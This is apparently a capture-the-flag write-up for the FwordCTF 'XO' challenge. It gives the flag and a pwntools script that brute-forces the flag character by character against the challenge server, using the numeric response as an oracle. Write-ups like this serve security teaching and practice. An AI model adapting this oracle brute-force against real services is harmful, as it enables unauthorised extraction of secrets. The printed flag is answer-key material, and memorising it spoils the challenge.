XO
Flag: FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}
from pwn import *
import time
printable = "?_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*(){},./<~\\"
host = ('xo.fword.wtf', 5554)
def getnum(string):
while True:
try:
p = remote(*host)
break
except socket.gaierror:
time.sleep(1)
#p = process("./task")
p.recvline()
p.sendline(string)
ans = int(p.recvline())
p.close()
return ans
flag = ''
i = len(flag)
while '}' not in flag:
pad = '`'*i
for char in printable:
totry = pad + char
print(totry)
if getnum(totry) == i:
flag += char
print(f"Flag: {flag}")
break
else:
print(flag)
quit()
i += 1Last updated
Was this helpful?